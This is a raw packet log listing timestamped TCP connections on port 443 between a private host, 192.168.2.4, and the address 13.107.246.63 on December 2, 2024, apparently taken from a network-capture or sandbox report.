Dec 2, 2024 17:57:49.185679913 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.614000082 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.614501953 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.614531040 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.614984989 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.614989996 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.631220102 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.633975983 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.634062052 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.634105921 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.634105921 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.634125948 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.634135008 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.636717081 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.636761904 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.636867046 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.637008905 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.637023926 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.998780966 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.999352932 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.999386072 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:49.999835014 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:49.999840021 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.067271948 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.070802927 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.070858002 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.070864916 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.070916891 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.071002007 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.071023941 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.071033955 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.071041107 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.073360920 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.073398113 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.073471069 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.073596954 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.073609114 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.452377081 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.455575943 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.455651999 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.457695007 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.457715034 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.457726002 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.457731009 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.499342918 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.499385118 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.499459028 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.499604940 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.499619007 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.570763111 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.571343899 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.571383953 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.571810961 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.571815968 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.711702108 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.712340117 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.712363005 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:50.713062048 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:50.713068008 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.019320965 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.022706032 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.022764921 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.022804022 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.022821903 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.022830963 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.022835970 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.025851965 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.025875092 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.025939941 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.026125908 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.026139021 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.155802965 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.159295082 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.159373999 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.159424067 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.159424067 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.159446001 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.159456015 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.162081003 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.162132025 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.162209034 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.162388086 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.162403107 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.522191048 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.523477077 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.523504019 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.523921967 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.523927927 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.858827114 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.859446049 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.859472036 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.859896898 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.859910965 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.979959965 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.982840061 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.982902050 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.982942104 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.982959032 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.982968092 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.982973099 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.985548973 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.985594034 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:51.985656023 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.985814095 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:51.985832930 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.308042049 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.311268091 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.311342001 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.311388969 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.311388969 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.311407089 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.311420918 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.314167976 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.314203978 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.314286947 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.314454079 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.314467907 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.371463060 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.371884108 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.371917009 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.372298956 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.372306108 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.781574965 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.782099009 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.782120943 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.782565117 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.782569885 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.820455074 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.823796988 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.823860884 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.823914051 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.823936939 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.823950052 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.823956013 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.826566935 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.826596975 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.826673031 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.826832056 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.826845884 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.966947079 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.967473030 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.967509985 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:52.967900991 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:52.967906952 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.264695883 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.267863035 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.267946005 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.267987967 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.268006086 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.268016100 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.268021107 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.270600080 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.270647049 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.270723104 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.270894051 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.270909071 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.411302090 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.414736032 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.414783955 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.414797068 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.414840937 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.414911985 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.414928913 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.414938927 CET	50005	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.414943933 CET	443	50005	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.417423010 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.417459011 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:53.417562962 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.417700052 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:53.417714119 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.098298073 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.099220037 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.099308014 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.099493980 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.099509954 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.546634912 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.546660900 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.546708107 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.546713114 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.546760082 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.546892881 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.546905994 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.546917915 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.546922922 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.549613953 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.549652100 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.549707890 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.549891949 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.549905062 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.630422115 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.630831003 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.630851984 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:54.631304979 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:54.631310940 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.062401056 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.062930107 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.062964916 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.063390017 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.063396931 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.097346067 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.100291014 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.100384951 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.100864887 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.100888968 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.100902081 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.100908041 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.106197119 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.106226921 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.106297016 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.106432915 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.106446981 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.209743977 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.210210085 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.210227966 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.210902929 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.210907936 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.507458925 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.510621071 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.510673046 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.510682106 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.510729074 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.510771990 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.510790110 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.510799885 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.510803938 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.513792992 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.513833046 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.513905048 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.514060020 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.514075041 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.656352997 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.659985065 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.660047054 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.660073996 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.660098076 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.660110950 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.660116911 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.662760019 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.662796021 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:55.662856102 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.662986040 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:55.663000107 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.439271927 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.439827919 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.439862967 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.440288067 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.440293074 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.697479010 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.697942972 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.697961092 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.698398113 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.698402882 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.890511036 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.890953064 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.890976906 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.891411066 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.891418934 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.896730900 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.899713993 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.899794102 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.899847984 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.899873972 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.899885893 CET	50011	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.899892092 CET	443	50011	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.902189016 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.902240038 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:56.902312994 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.902431011 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:56.902440071 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.142596960 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.145762920 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.145829916 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.235207081 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.235236883 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.235268116 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.235275030 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.244383097 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.244441986 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.244524002 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.244776011 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.244790077 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.298492908 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.298882961 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.298907042 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.299335957 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.299340963 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.358330965 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.361493111 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.361552000 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.361596107 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.361612082 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.361622095 CET	50012	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.361635923 CET	443	50012	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.363959074 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.364012003 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.364073038 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.364274979 CET	50017	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.364290953 CET	443	50017	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.512306929 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.512794971 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.512811899 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.513226032 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.513230085 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.742861032 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.746491909 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.746531010 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.746552944 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.746567011 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.746619940 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.746680021 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.746700048 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.746711969 CET	50013	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.746716976 CET	443	50013	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.749233007 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.749277115 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.749335051 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.749490976 CET	50018	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.749502897 CET	443	50018	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.966275930 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.969356060 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.969433069 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.969479084 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.969479084 CET	50014	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.969500065 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.969510078 CET	443	50014	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.971983910 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.972042084 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:57.972116947 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.972259998 CET	50019	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:57.972275972 CET	443	50019	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:58.683065891 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:58.683612108 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:58.683636904 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:58.684058905 CET	50015	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:58.684066057 CET	443	50015	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.090390921 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.090928078 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.090970039 CET	443	50016	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:59.091367006 CET	50016	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:59.091372013 CET	443	50016	13.107.246.63	192.168.2.4
